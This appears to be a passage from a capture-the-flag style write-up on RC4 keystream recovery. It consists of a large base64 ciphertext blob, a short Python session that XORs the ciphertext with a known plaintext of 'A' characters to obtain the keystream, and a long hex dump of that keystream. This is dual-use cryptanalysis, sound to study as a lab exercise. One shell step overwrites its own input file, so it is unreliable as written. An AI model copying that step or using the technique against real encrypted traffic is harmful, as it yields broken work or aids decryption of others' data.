inDe56ZYvU6HUNC/W3mHmNXVIr3+XDi6oolEwS3N1yAePWZ+mcFelri/kCI/HRFWoC+V329/IerUkeZkx1P7m8UQjix3tv1Dz020mMDQ3Qi8kVDQRk2cOCMnulL00EP/VxN2Lv0kHSu0BQZvzpL3LEdFcgcMUxL0/kNA84r+fR8y67X+KLA40mSGA/DRK7Ia2UIln4cefcicYFr34OsRAR4CERW1yGQ5oGHpaz0dnsHO9dEvfo4IxE+0/sF+MTQK2NoExuQ2ZE7pGisyeunh/3UH+I439V6KXefJTLcg1ZSS2Vm+OzB92BDA7qPRH1oPpYD4ktz1dPdQul0cCVhT3MFJPYoO8IAQceAiSNzwAQJOaTXRyCHgJHNhVU0eG6klNu5LCCmLb63WdPtEuD8AbBAAVoyQBokIIiuofkmkvJbfcOQgEcVse8O8aRpx7FlMVnzsT78OzAMcc2kY+jKnYYomqAwxoag6EjHLOl7FHRFpQO2AW1L/F+mbSHofkXUAMNCenngNtQHFG264h9G2HKjbCJi3avwcXbvQApw27QX0lrRF++CztQba0x1ihQazY8NTGXpDRbk4w8Yf/4wHhzL+qzglsBdcdTTKAXmqA5TcVUp2AEih9S78TacezaYXIWHHXdOGteDKEfdlYce48XfVXKcdGL/eVL1mfA6i+Hx1rfFdlbmMZ3DOR4mQEOwyycDJHYsdtZ4cGNlQ7Gq1C5L//RRSPrv9OxsKPaVbGd1sRj9DfmTAF6nvBsDv4E1hk4QhtoiObf9RElDM9xLrE9h/jr6VubJReZGcGwPITrNBdUV7zu96zDx+ITRUayG1lp4fLfeFzzX9in5mRklS8tTJ09ntlIMIng5nQ54Php9NBUHLP1wZ44ANlgGy7B6heYypBrAdvbAgYPOrV82TfTnNgoTd9FeE3+pnrwUSM0YS8WkGN8TFIfiyQmfWRueG80HtoXebgCCyNGqYzMxIbLw2MnA7YUBds6BPmJNBp3iKsLE7rru897nbMTjHVVeCdj00P1589g1k/7MUXM9hgsIey9GJk6VvL0kwTd/dc4MTsdcUghrQTjP5wUP9/vKeipKcpFl5W2JZTjXUEz25Tr5CNgfAyey4lzDE2uAjbjNAOTlBVFJRQ2oUNEw7Wbh9kKi58Ec0qX15NG7H0gm5YEP/5JVkSMp4/XuWXDFqcQpBUSWsZZUB/+Tfu3QMsXGhGdmW5L+7jkt8zfPQviMD2qTJGvwfRfQm5KJbprblr6K71LjkcPnF4AJvzqtC5EEK7VgQvoVKD2laR6aij/iv/O6ItzyR4HL09xj7CcDTxBSmZhIw4jDelBKhEDQ/CAEv3bHrdahpH8LxD+AxOZn2dMhU6j0BfqqGEtwcLAU66gDcg3fpumu4xw+mMD8NR97rbLqgzZH2RgayHC8wCWw4+U2iaN3PcKkaDTN7SFgyp67Rz4DVbOXbgl3a10L+4+scrrEGeBYOGbuEfaPvCU/NqVCr4kLHh8H0mEZFnxeEHopgliHXIV9flb9M/vqntNFGAe4eCLbdh3Ss3/oWt9HZdCkojf+Hu+UbkE7LtBihj5OOg3UTte1zC7eKyB6qN3WxNZcdirDvaBlz7pHBaFrUZ/ZaZqP2L0zzhSiVV0O5y4+Rp9oAJJxZNO17lgc46q1cNIAoSI5i6fSP91oLq24Ag0o64dxgM7X1DDLEVYiksckofqZKfrLulgbxV6YKriexWzZf1YMauu2CD97PAaFLRLLPIrgOTTpxpzvwqxcSfSI0Mg07Czb6UxoKtxH03O64BkgWijNf4avu24a3TB9ThL/16Iet+1H5vA5zc84WV0Fu/TAAwyDMiAor3SQx2wrf72K6djcYIKz77jxJw7J+gGXyqSDp4cPcFmlcYSPKg4oOvOsMREHi3x7m9SYNj2iIAasMjkN+ouwZtSQx07L7Z519Ijo+8ID9AOU/vb42vkcKDe3CNNHB+6HY1LoGdxyE/xnQh8Ienhyzm+SJrsZ+izhVnuwmFXwvt2TqmdxDfN+mbTxl9eEANKbYnXYaVp6SGaCtOEG6uAxPKVjvuYa7d1FHkuE3kEzsm69KXAZXsFMu2ni21XD88C6vP0LYhIWeHy4XLHamF+E6q94XAVF3x1NnsZUSTcxw+OIYzs0qFtqi66kzf5faFVSLRRVAFkixoeT7RoqmSE9TwTAqI+FfuhXqe6148Uuvj92yRNDtxyRbxQsMGMzKe3fggMXZimgfL5L1ZYHeAj6xiTTdAioL2La0mcCGUEmFv5tYmEgrVxd2pJZ6uuzRZfzTLVi+CzkK4sIwlTQ6hPy5RDDMizMeWb5RR7KbwD475OUGlzSPrG+Wjj9lcWgOAvNN81fzyDgPfA/KeU/9K9yG4aGUZOMMpSTcmBpui1BMsHV0Obqc10wTc7n8I6VKOtp4amMGuMD5a0fYJnKZM8D9hgN4OgX196FP9hUmuTfuKRD2koc8xo9SYWvqBXbp7lVh4h31xzAaWzK/MiMWaleVPheY3QYA6GAsMf4NzZAsFuIFthrSDDKjiRwmq/sjlHLmsgb6CEy+2eXZOpBsAXMmxA4VU102VrjfzrFCUInAQQTcB4belDPvmRcKjAwQdnv4GFfKAcLkAiVcsAdRoUD4CU2MnWy5dCymNwDxoGR25HTHgHUWo/sQc7yrQJQnHSry4wocmEOM2y22QB9UBJ93JYQeGYnq1VxvE+EkRbR3alMaj9Hc/4/dc2buRv3of8kg1w6Q8Dw/on+Xq3bwPXwAL/jIlQ4F76N+LDMLbpuBj6eUiWN3eNgeOQR7TSGeWS+zm5pj4xOdIC+9N7PyC3Pz+JXAyEJhA/rw3IKtv/oxVZUDMA6y/pY3w5jbw0Ztko1DMptTUdYsewE4a7S3jKcPhMAbITfA9c53boiL7aOl+fzMrCtPoJsiV1wHktBkF026eHNdmgbjq3kopcTrtxPjjQlD0h9RcUMNA9DtghGxMwLslP+s6MU/PBDe413o8gMCtGeEKBQpM6R9phxZLMU9ZHD1AM2KiQYWyjYi0O3g7pzxEXMOHuVzMpJ5fqdJ5BCwIt9DDE5+jhRuQPuqHfhcwoa08z5peqMDs3eT/FjItdUzalB78dtfuLBd6wlKO/7TcxxldYtKUkpjwWS9z0PAix1mDtSFOJGrJHm34YSn8OcAsS1k1bedkZSTpQs7ukR4sPD2asRJELLWmZ5vT1XRTdvBR5wj7yoq3iEMfki6tHsclufPhMWtcNxsOCblxwjPAmCYJfke2pthpFcDQi7Rbf4iVpHV8o6NlFNDrXExFDfChpj5ykJjl/cl3MOqZy7BhTb0fKeD7nTzDVBQV0772jxK9TEoVVcr7IDBdmvXoXn0ufdHGRXUFc+EAX2W0uPby25Bn36xvQ2PCoEBllN5X/x7JM7wKk1MHWX3Ht/BS9/hSOW//M1beXpG2qm6YSi06ZsJ9iQIS9QQLIR85JK1An+TqTA3HpDtWlJqK+1foIkjTDpOSjeDlY4StnZlnG8wGFUwogCVUYTWlbFraL906YJHpevo2QbZ6emh6TfaRcMTbmez4zluS+LTi+lG+2ed80vpeVj0fNH30qCuUdt7SBGAWb22mt/YA9ibPxG5UK2V+Grtnq4IeeIPCitVd1UsuR9sgZ+H88EdZvmIj8Dj6wIyVNVh9+WoX1oeH6GLKyUHW6mVbV78BUvI97UQX0LhjjYigi2UvHhAnEVrMnXIPcwE/N/Lav34HdDhmokYoFgaO6OQb54RddTo5uhlXfRZrW9E3ivCf+esi8vTr1kbooLsf7WAqKmwWxo5J2wSCb5gHrxuP5Q05gFG+ViVaFxENdpmGbtuk0yDOuEDcVwcMey6CNLCw4Slu2LsFo93ofiA5AdFiPhPPKxc8wIEe+nujbzcOUYzmSJbiGtMMjttAe5h2ni1bZcAx4pZXz82HGnioGkTOtYfvU8fxKkMMpPXKXuovr5lWfiHgWtWakTOO4+KwYkhXdrJu7DUr5ARQAeU7JGknyxkvYCNQ5akpuGIBgk0rbCKtkLxqxNSAPkD9QLQw19r97UC4/LExFCMSXuQJMSgZwo9eW/tDGPsjI2D9FS52clnkg/OJdfYK6QX2M4s4+SIgXf39U6941PUDGUtFenoSgrqO2AOIvXBByGCbSEbO1zL6O/m7Fy0/JaiRaqV1KU3Lvwhd/olPab++ISymjkyiqWy/KnWyBOLDF+nZ7uDMk62p8GbQJdhaEWhX2oA8lUqcbKu4r6uDXb77jQm8O/+rrrEdtfWFWN+auy07t4YOLPgwUrVm56qP72pqkM1G9iuDuQ49+0QEekBotn1SsJxUvrDRuucSXzrJ8+1qHyPDduAs4zwel7gRFg4/CcU8HBzlGOFvKe9QOBnLPCArpYwVRBb6q3u9bUHxEc86YWuSj+RBGhn0e6fl6gCQGVDMyaYkic9JDL2DdryDLe+vWh6sIcb+NnLLWQ3EUoZHdUjwz+ttj8Nnr2zmPSiy8PTw5PNO1rbCcluL8dNeAvMUwa7cJTIZRNb4FXlRQ1QrX5x7Otv7VPUCmG7272FaZnk2uC+1jp8XBlYnWuvCqsfMO/z8tKd2OFHfYkINMIdNU4Ze7zUM5QCGrpHF8MKc1hqf/6jzCMHUXiHSJtOPsWOz4hG8gpibcHkafm3UJT5sqNCXQ84V+k0dqX30WHPluKwT1HvK9aSTaYFhrnve8B2T/Vuj02n+SJGQ1VVyYiq0w/TrSkeLqYJmc2e3MY6TDHEzAktfYCRVHkp8kkW4sRH8ualEn9jyYjMja1pHV1yA6xKv8b04iXE8OxTJWDkTv1VmFqnIJ4xzQcLDMudjX+DUcuCOMTi2z16z8uWGyMbP2UUn5z/IpZqRJwMCbwy3skZ05k6f7hzbspsHfviqB4iK8/wpVGqsbuauOL4JeF8/kQ3dGXaP13/w7AKQpZX8lrJwcW3747cmOQvlJrUNu2UJ+TUzwzc38bJ6sSXMWfDw4C9fDnJiJU/ckCyocrOovowILbb97UuSSWoa26UEJMzBlkwbCfE4YYHj6Se+tzmCTmINm54RuS194GqwN2doJcJ5b7MKjmp99h5sQ6eW7akZjDn08RNkPY7YuitT4JTDuuAuoImy+HkTDMtI48QMMaKo1lOhQmk866lVPiC2NdH49ZXIXgfTsAQUsi7KdkPD+bwvSATbAqeYjn0rPwSDyGedlTSb1V8J61gUZEEqVW3eOtVA03vagbgmZPtSUjpakdAnsbKwu0PNR9s3T8weTJYcpe8gxmZGphyVgjYTqQGhIlN7se9U4wGYkNJmis1zE/1w+Jt4hVIvy1z+zaRkU7ejoEdB3OWNwgxlEbhM5RmoDsbWLkFvqnIOAouJYE0iQ+xk0xH+zyUgdKV/cv4Bv9WSLLhBPe5CwvF/RS8cHwgQ1nIu3miQXA5ub5bNPxTu/N8pvUujTsSjbNPcEx9zZHmI4eMb40Xbc8okZiwvhJDg+hx0nLLlcCZjO2u5sCgUREZf7YayI5Hgwcp7CLxlvPQPyn2ETTsSowb4b4zuT3oFro6mmSvav4ZbtXOFnnbEFVbOgWDFBOKEtGcYKREvKVBFwsh1uJ4YIZAwg0Ljw8HO0a5m9Rq7XWLANyJ17trcaqsNIarOqWqqOh/UJYD2sMdZGJwCBCuZdSALLJ3KKyxJGV4ctt3SSgZ4QXlcwoJMTJ4KfjbxHlUBWlCeRZSrtzyA4jS/mc8nquu/4vsw9lykCtja+159Ck46VyjAlsT/JZAvtHuO2JhNod/daM2F+fJbdeRYF4911okV2K4m5/zN/KzcwmJkIfyELEpn+Qp9tOfKypGO1DYJEJfkj1naObaqwXaWzCsa8Y+O88JRSiQ6mCuFFfC7IAmBjt+wDXOHJaq0UH9TYsvCrhN9/Gp9z9AjdDuQL+5dUFAp14wdsW+9VAEdVZTEtid9DC27gvRs40mxqU1L2RvdZiOKvs5xTXgs3M3X6MfGnP5vjgbN9BVlaC9Ve3fXOtRr740snP76iPE/+cH/8T9G+C6fPPWCzKPHDxOHui0soN7MuSZNPAbnov2FAwvGk7f4yJ1WorKelEu/WzuqIbS3wHwyBy9ZNhfcNMtEcOGhpfQZPcqf6nb5w9Es2zLXxIGbvHoZLbC0S2OzNUFXn9qVYDnJDONaJeFqDtU9kLzITFwjSLTXy2zog6mxO7frsCddstZ48UicYoNltNw8OBDG4r973HCYIrPqZ5HsLnVej2ONZInSJ1YRT0blxHfiIh4NsCQ7fJchQrnJTuoWnOnoPRX0h2k28QDkk+dDL6+8RPHOeoqkRWJ9lydrsItY0pA4TJ5glpHKlVodioQDbEOEXZGuEGW+7HYanbbZp2npF6d1FA9JPrdgyDv5CSElMwqhlymEHmEL6l53ddy8SeUe/882Xm1s7av6q6YG+bm5hZCFy7MtQ9NA4DxMryENm4TXhSKwtLxPjBiTMa/9SLD2I6DYDLG4wN73f6fou8uSYal/oXWQYJspfTDCBw9GQh/D53j4BOOzUwU0IronRJ4tHHtragoljmXxdUhsXvvwfW29qnBFwCxajEdCSReQ+cOf4dqwu4pDuVrVGIb3zLvSFLNiasHlVMHqvMXKxUQf7FWS7c/5QWI/RBcG8ThtPqlkM9BlSDs2/fVRf95dAidTdZhVzhahPivEYFxmxiqX06KrhJ6bxFlUvFlw2D9EMhCFKD+Hxe1MB9Cc/c/9zf9PyMP4+8cabohZMnTzaCnQogBAiETMhLqG1Y0Ajqh7lgzgRngYAe9dYZ8lkOpsOh7tlELMNjIh88H8JR8bFl+MZVQsPIHWLEQV3Mc7J7L9jo0CaCmOaMq/S7K9utWHfNBshVTA9evTp0akNnkZ/KCbyBCnWEPMtCsLHECpMpqhe5dK0Tx/EFtT8xIuqOyru+VSEwwqly+GFs+KRYLpRmCenyh3OfFqo16dkPBUrNo//bwXA7o+Uqya1c9nSM1y8A/0juTg9faw8DqWdqWBdzqT3iHkN2COM7b3ies9tVL6EwL12QwnqN/lYahbkQwkWaFn07u1rnk4uUAmEE3ltw/drL/X2GE76b1Py4ldcU7jkS8SqqiudaAHW/kNthF8B01sVBDCV3xGMFQKKasJS0FOvE+2t7HGC47NbdTHab5sV3Z/k6q1NdjlAvB8nqciXzCYKyNmFq85ri92tf4ktG9xkD6rMGzFq3Hl8FsStjMY4yhOUkaXdKoJwweBAiF0UI+fGvQwnaC2spuAt6VWbL8N+ejM9rdzTiNQr9qVWXl4jiIf6sXQ6oJufZRIlc6Q0s3hwJL3Y4egpnVDHG0kNPs/Z0bTOIMvxi3OaF58HiKFZiLMkDpuvMlzMSxs1bwAJpVYtSguUB0yrWIGRWFR1fRKXou0tCW2KvOevMK3JnmUNO3A7K6peYkxJfeE6Kh5YmfIpF1Ab54Ud3aDHFanuSZtGQLDVkguD9RT1Euz4hxDkPHpdYeUf4s7M3TLwmNtd6E/EkaGPkj6PBMiP1R8NXHJTQ8SUPOKvTW1bQvaKQg3gl3tpjDp1dguLV4iUNH2Ri6qOuj57pGuWaN3pkm5u/2Qo1LQbTicyTilOnzil2DTZCeJHJ7UbQtMumjY3bx7NjAM6rkrBkZhS7O3g+jPtFH2qBX3M9GY7X0Nw0iVjcYMC6ioJYyycnZRV/4LFlNUSZ4ehvGWl4iUy7dwN3itRr+9UFqDW+3hjdApZOIrLUnA5xX7uwSabPBlZdNi9aT1RdSghJfsla5es8IrDGm0BlcyAK70k
```

Generate the key stream using the known plaintext and ciphertext by XORing the two strings:

```python
Python 2.7.16+ (default, ---  - ----, --:--:--) 
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
>>> rc4_base64 = "...omitted..." # [Encrypted RC4]
>>> rc4 = __import__("base64").b64decode( rc4_base64 )
>>> key_stream = "".join([ chr( ord(rc4[x])^ord("A") ) for x in range(0, len(rc4))])
>>> key_file = open("rc4_key_stream", "w")
>>> key_file.write(key_stream)
>>> key_file.close()
>>> exit()
```

The key stream file was saved in a file named `rc4_key_stream`.

```bash
$ cat rc4_key_stream | xxd -p | tr -d '\n' > rc4_key_stream

  583eef9c3a6a2b7e4a9bbaf6e731f7c4ff37443790659b795d6b7923e946df8e5b4514749903a2dc17a3e30358f48d1d5fcfbeed995155ae8c19357efc38fb81aada9c4ebfa40afeab2256b5b284256cf500fb510c761d5c707b85583fec47b44c22768eb440e105e0a8d5cc3769366a62f3f02737238f451854e323309dd72796da46517838770ff9b3907ce541b84201437597a5ea69efcfb4d2b503af0d9022dbfceed1646908bb19e7db90e0a8c03437128fdd5777e8b1fc4a05dc8d152eb7b317bf9f9acfb343b27ef0861ff75f382fb11532de23e6908dab1d47a65e691d4e5d949c0fb4df3db69de43d956d11d506077807d8380a0a0878e0ea9e0fafd3e52f90bfa11ce6ce93fdf3ce68b02512c1104e7ea2151143da751fd878ca7bcacfdde7757a96445e21174449dc833a68d3c141c0a132c3ed1a77232e595ec11d5f99d8a32e3ae4c2a16870c977c7b3801878aa43d859ed34c6689822e3548043bcec268d834456fbefe3114dc7a54bbc2ed7227b253da8767444b7c90e90c09ec4ec1b25391cef271fbf728464cd63bfb1dfbe57b8096a5e04708b84fff2881506cb3f904624ebf32d22612f04e684dee56692e7efb5935631da58d93046742b337c2ef8a7447717db0fa5a8ebac1ffc074bb542c64d09042cb149e6bfbec9c561c73f2e7b1f22d5e3f2a4d81edf2b1f7f3a04e05dd7afbd1ece2804e7b4ca6dbbfd8640e7e4ce3886e3e13130fc5e8d9dbd4a577c9be6853d938bb3ed2c267ae0a57a47a97ed40141c2893cba584a5fa377037d9e90f478d5c97a2ab30f8d2bc540e705869f7caf6189c01a93d74e5546cfb67fabbcb9aa5d8f63180d8acb825b5528343c364bd99b130322517c57fe3bf5f25343da2bb7ad44f0d88ab3c446ef13fe43c2026f6c6e5bb3c04aca13f7121444389aefa35e139f2086acb5f8f610546554849c8bbc15bad73809d82b1ef9298a58da446bc58c0bce72accc605b6997c8b2054ae3e28fb92cb134abed2a7cec370e8eff819e4ddb6360c1e4075b56e1470f20f3edfe263dcb44fac1976d09a61a8097e7195b8a21a862eb2b564b3815acab12bc831f9d981cc07a35c4f6bb6a77d02c7c67b1c785bed53dd7d87b14d150b13190cf38306188b4a1f9f4bd68d96eb2a11eafb66929d846e5eab1dfc48d1d9faeabfc17f0a71f65bc3aa5dee97e5c1692655678b7f97dc10c877152543ab32ee32d28c6786153c55a606354683edb16cfa6ec429b7d60a03962c4671c36638c18ef4a798054e0013c6c2a1cb2d6150e7d5daf80c8afd5924793967b24052375877a1a3e9c69cc01ec02ede2f4e540248e3bb7069ef779491db224cb65d4d148e50f18221f072dcc3727f94db1c9b219be50a860aed84f36fec437c63c33d2edf9e66f5c29c7c91da9136f972557d20266d03a529805327ea92ea82f7d8ac956702322882fe23da756ac93339e5ee332ffb8ac656c7c840272f13be7209ce39f0270e543b7abb0e00bfb17e6c81e5f3f4f39e69ad4a40851645573a75c2e51f18d8b329b57952b3283d2e8794136471307dab581199eec52ab5a7b245c3b2e3abe09ed377be8bba9eeffc329f085c8ec0a2ee65471f8676e6bfe1e439c4bcedf13d619c068a93e4386e2017b729203fe28de3f0e30b8b75d8ebd6dcad81990826b640b47e4557113af0cf2fcbb2cff3416ea56d35fc73eb50656c81852e52685e742c2634fa8b17915ea12101ddbf6a84fb2271e2a4f21ae24b99d396908d2892221d7273c8e78d57252012ed814fd384f16077165a6747b5ce3800e9d2fb2b4ecaf39e332acde5f4f4addeb593b17c75803576cd953f3195e7fc744f6823e4009f312d85c652d2576847d992235bf352b4afd8d2e08e38fd1f53f354b14c0faed18dedf28ef80c293a6ed41d3e66c54b35473dc6a574210d8ba2d140afdc466eba2839c640ba69c010e168f483ea56e6ef5c989a2139b17e9a16ae49fa59ebe47251ec5d8968bc9684d7a20e9a175c29122a6f409649849b0a616fcbc3e8facc2ddec862ef8cb720441a85429e96a41f5729c0c58e69dfbdfcd66273808061422758d16beb9ae47adb29b5f2d3797976ccfbbf5d622f069417296002ea2320f88f3fc6bcdee1c30058ce1a0e0f0017ee1db3f710a9578994df6ff522f5078eb4771aff168a8078eee4f5d0d2196238967b970e9177174aa15b8e89ba63b7a27cf3768861b0473762b364c6530c7e0b57fbee684f7364a0c61580b901127d73b48365d7e28978dcda915e553d55b8cab29be9afc634c28c26e60f20ca3cbad7e214fde4208adc3e71dbc3060a1582fad23410c4da799bf86a3830ffe4d3830c5a709a8a278c091af7583672789b9fdb2c3959563e3978559cd390275816672e916234b062ba7d6c64bbe576f117014872b6844ea7d1597e4c6d80f90376b01d01913f716a308ab39003109ba3921879727967b6b4ea517afba896d070560338001dbe2a25f540dd0a058e99bae641f833d5bcaa9fa1c7067cf822bba36620dc04fdec54044bc4fedad06daec8a6f89bb6e1ea3946ca0a87ca1c540ffbaba9d4a2f26ecaaf0080ab26b76abb9a66cc997cd0ce2e78a5921c0ba732b1bc554fee5e0e643cb6cdcd5521af02305f699d13d9dae47a7ff49b2eea2919f9eb59fc69c11d827ab030e8406e1e41e3ca7adf05cc148a6a73f0ba7798f786814987d26f1ff26f0d9c515d42b56d29ba16a198fa212548416c76f86139eaec2d161f6fd3d59e914f750174c67fdd7705261e2cfb0a29c0a9c9de23594afca9bbab11cda1e9e9b5592884f0f14e73908906baf15fee17fec8232a0639794627350f148bb8c60bb80d43aa73dab12db678eee18fa8e07afd1aff88dd75c223da7701aa15596dbad1bf4b61096f342fc8f5da35b3d2c10a177743ed67c4b6acce7bd1b7b463e9e7b8e47bd455b351d1e700602ff78961488b0a4531c797058d39ace56eefae33c2bbc3e84ed92206d3045474d7ba6a956a32b3454d9ef1cd9a6d59eafbfe51155b9a779fcd8fec19edbd2b7eb38924748216c1ffea6ede81dbca12567863a2d74ebc8810411a24d5e1ac974f64841da214c1d19b677408c2a7b7f31d9fb4946c572c93f217fa09b7a0d3de393a1a91f63c6802f50651053ac73125680eda639aff198d3a665bbe74fb52280196c0ba6e40b03696e85030079227df7418ce666b86e5a198ac87fcda580a92ec41e00e033a99077df7e1ffcc4f55649178979aef7f29d12ec03ab8c7602de7ef6e3ff02fd6866a5b4844e2a33e9d56e2fdc099dc0aeb8e7634cab8c6a67c138ea1b6491dd577d4adf61be2a55946dba1090cdf29dc44b227cab2e8c71c89f75c2b0f4e94635ce0cc6ec809ef1036f340865549e2c1a3be74acad9ca0135c73bae0bd0af4eea9eb8bf4af5d419274b3fe7eaaeb6215fcb05fc3ce9ab7b9fad9b3c02ab0730da36791aadea92a082c9770d55e23a81cc7458b030a88281b594f9b03723c05b59032f0b4dc323ef42f5c7c38aa24927de56654536f0c7086f16527442ca7c198f95e51c82447f70e6da8ba16832ccbc04312f4c16c97c8b098b3e63142819bc7b4c27cfd512db9a7417ac7f74b9b2d042ddb5fe48db60364e9c404d1dc17ed8f637324595051d0603a4bbba0d3891850a7a4e5a95be221caec0b912e9b95a331cb79aa0bf2d7fd61c87aecb012ac9540dfe27c7078d37047590492e283f92be8c21263b396f7df46c636a257b6353a8bc0a22852c9650b37dbb52f22d1f5b5304d60030f883222be5306ea04b1885bd5149f1de2dbcbb616fb7335939ca2665027c0c2b0fcb7e98490e322ebf66725aa40f65ed765a4b9318e2c7fb1927fff76ffee313d47665a1147609075d1a82be019fb865a7e394cd5e90a96e66c33553cb5a59ed15b032ed163561937e6dd60c018b667a56658f48df786f52c4ee2cf404bf6543306836116ee4b18d927565431c44c22bffc5c553ffd897b941d6cae4cbc4fb37d5cca2632bba9b6a5ccbdea47ad0c4eeadbe49201b63616542b56d6c54411f1e45ed22047bcb33d0a81e8013fd324f60b3a6f3989a531813ed5fbbe2b68ca359442adfcbb9d10514ae94f41fd86b0744a698c4c4d42fd5d47683982e66d39675c13ca2051559fed85b1b6522b50d391b0a2b91eb0b582d658ee360f41f16b720380393f23ac96721a60135f120c6e6de670498a1375aaf979a1eef560f9dd8e8e089876dc61976c5a8e47fa613c9b2e72b7fa9e5fcd4918160b6642ec407dadbabeaf2e4846c8deff7f9260db70a4af28aae99e3d25205f2ec75a8a80e41a8a8d53136f104c7df4c4f9f9610c8e5e64c91f5fffffd1879c2a5fc2e0f6a345ead95a506bf0ae1140b43b13fc8281729f0837ab82836c463a759e493f4e876338c4d5344f467861526d4623aa9eb9f9812854edee3155ebd9d28d9795c384db4d34b6baf6bf1bb6003016823a0ab42fc42aca6c56b453129c72591ef020abcc28b5ab0c5c8179374901a9f263889bf93bf04b40a72edb2199e7d767a798dc1f81fe02efa45eae90806cf922b39bc37fef51e2ee2afe3acfe0c13eee7620a69deca9c60f7d44f66ed69621c9af575301dadc8aa7a59257859e2640a19b9e6730f45132714beb7b7b788fbc80fc8b74b30c4099b031de0bbb8e8e0dee5babdd17e06e0c30d6563f413a3d5407ed2d95be9be17cf66d00dd08a094e22b16b9284bc54e911b342ef4ac8cbeab3df9aa5b96f9ed4947aff986e7d862a90a6a3535d43b30d67885edf880ddfee0d3b2d1d52aeddffafc06e9f910f3208703c65ac4c5b083a3454d8bf2ec0060b2d3564441a7ccb2ea6b18bbc5221e8b3b772bddcaa571a6ee93769ddc3d90ac36fa156d7e6c97a350ff6fb79bf38e390c83248be92fd28bdf40a95454127eda8fcacd2406453ab53a6516e4e9c16001772b30ec0c88595add9729642dc275f16f2d65849f1d8001ae94d5b24466e34e1cfda0d03a160c748908c600b112ed9317a6c641a5d44dc24d09547e4a17314c46a2171af93accdc2b0a4f9238a6ea06a9869ea1ee8ba053563418605674d85101187b039b796146475dbb1a5aaa66ba2b44d4cd367dc00ed372d78f669c92bea28a2dbe13478214d55ee0e80e0083947ca6ae9ca1e1fdafe279075eb31d05ad1550c3bde1f6054c99137ba3487b75ebff710545af05958db2e249ee4b41cdcbfd09fff6f1d5f8d5bb57c0da0e58645a96bf7c19bf63320d7eed97f7ed322fe32097995f7b173e74c249629ea51fa9ea68b440ec7775142d1e40058bf0d73dde7c0628e8e69388348dc01a949e34eed108f8e965785e884a81065b8cdfa242581aa74bc8c624360585cd3b965e5a46a7590810ef0b75405dfce0e60f6a899af97ba339edb41f2daa900855afd2080ae3b51cdb5940e039ebe8cfb457a8eee6db7306fa5290c371c9ddeeceecb6a9b258fcb2bb24d33ebea7b3ee9bb3a0ed4a2bf341f83f62937d47b1c96f7cb309bf8f2e6aae0528d33d8d55db4f0d27cf055ba03ad96a94a49d10456de956f7b5e662360d4850f20213706650a7b1f6cb881616c37df0625e18e34d9edcc1573d33dea88fb2d1dc6df13e6ef482aa9cb1f34acac15f57b1d028964f4d052caa9bdaf6cedc98c27221bd582925a38aca47247fda090faef23eeb19c3815c388d69c84c28a78524232ebe7f9d7768954d57c9da0e4c2654f327f2d19827e6f0640b18af7fd19f45d13cbf0d2907fbd3b5ee5cf500d47a5c020739deed4932c748f0f3b2582f0bd5eee01f67cc6183651a3b2a189464140a16c96764d568e8162a5a50a8fdf7eca9bc23019c201c768331196abe720b5da34435cf760c3d0f7a200d881fd7ab21cec9dc056ccb6efcb701051d37a49cf6218ddc804e3d8ec5c68a56b32e37d3cfda7ef563dd9c5af837064f601b394cc3907da4d68e95c9d1bab278918a00640ec3d0e8fe471b4edacf407c237379af2f317c1c110d3f8186caa5ed24b152fc3bd934d13f06239b88a17adad9f5f8fc0e707377012c2c183fc3a773a6e106f872ae185fd909310bb762a421764b52c5f7e7c0cea609b94be349591a218f2b33dc9f2b1abca1308e6d0877836cce941a5742beaeec10fd0f09dbc99519d4869303366fa3dd7d8c882f15462a3499159e900f999c36f85ea80dbb182d9f0ed08fa9daae70c0f95f978a098ac686ee36d126af744e5ba8fb8284baecb23c070b160bc5bdcaecc03966c2f0bf9e0141badac9d81cb4e04f75758ef2e3cf45a4f022e15733d0a440cc38f15e7c9b4ae62ca322a487d11bc2cb3f182e9413d430b8cf32d5f7ef59eb42840247ccd0d8e525ebb46bb841659a4486f390b5e467c230300a41bb2bed31389f7da87dd0cfcb516e631ad747b36f5b2af9c3578e954934fa869bac09b064819a1b16074f3c84070c41a50791f2ee58ecf12646f5210f379599f8779f7883b89b4a346ffa8470ab3c8c4293aedda598a6f3415c38c71ca0c715e50fc5c588057eecbd8b140c6a3996175631bee553bffafa037b194671a252c0f9c62ab852768c325a7484e7f6511f4d2259cf5124643a1a5192c072a1b7bba21368cdc6afae50572da5a8215183c1350df650e3da55fa8c0a4a697fac245aaa09b1fa836093c70449404d671deb407ce5ab1254598c9e24b77d99ea93a259863b170f9647e6948196fae7583f247749e2461fcb238a957d8ab8008f4971d003a51a91b8a86fbd9483fca8a4297abc6b821bd8906f596bb3533c7395d48f04e6db0c4c547035d6f601dabfabf8156415c48f5639c361dc2f4b06cede894663269fff916ac8b2b97d467a987d6d91a7daab048d264d8a0fa8a0391e2ccd1169c9b53accbd0fb175f6e010f31c4513e3a8fcbdb97db99c7711857008311223c7a6b84625c9bb58de25b27c0966c7f2857f1d7d5ceb691242ec573b11f33ca77c87b775af0641a924a33083bea6ca2f1581e79d7391667081b99beb3e23305a48ff3d1fd42651928ea0e89b0fb747f6d814abf9cb99f8162d42fbd405459284213136277349dd183fb7b6866cf16c7a1ddd75965b449b48acded2020ff50505b6a29c6c22f60c9436909637585c673c8fd37403f9d3975d4fe88b5661b89dd4229389e9b9ce94b9f310070c82905e1a87fa71d51310c0647bdd27bcb7888bbe991510da9ea92ebba4252ab06ee91c644f7b1b456d21a007c1cef9cbce369c3d4a03f987c09b40e1d3f575f756ea3a312e2c509591922bd3213a9d88011ce52ca82c3e76d029e611654bbc600ff3e01af99010eb78b2cf058561966865be0cd220d7bd40c0c0361edd1aca45ce7a104c58daf4c6188d20736580a14da49f7d90fbe743b8f299f4f0afbd52d86bbd6bfa93e9c2fa645f57a9a8802ed28ef3b30a07789d55d4b3b521fcd8fb05ccb7ffcb1848310c0d981a01e9a132482ff466b4e62125c7bc56fe13c821714c6266254f598bcdbe0a9f6e6fb0bd1ac2bf6e902cf25fe429c2300cf09c2a8cfb8255524941f27f3a70700664f3de771976addd610e76aafe7a3248c2628274f163a6c772858c7adbc3a7b831dd5c8f956c8c16f50f473ae8c763214332791ec69d0f9d839d0df99f0b773b152fbdac450821a89c8dcc158d67fe46c975cd98e350718e854c506da65df6740af3fcc1a47330d61c94e1feefb3b4bb8545220223c724af41bcbd5fe776a1f9fd0ee901821059f1a81583f694b80b4078a3099387b6d11733f27e36b4457c0251294af01d75f4f11a4b7ab98e486c887ede010238b38eb53d541f836f8627f2d90231117ee931bab07db99a0a3cf9ffeddca461c262b826f9c97c2a5e6190dc5ed5f68a44cb1b2602e3e0d43dc03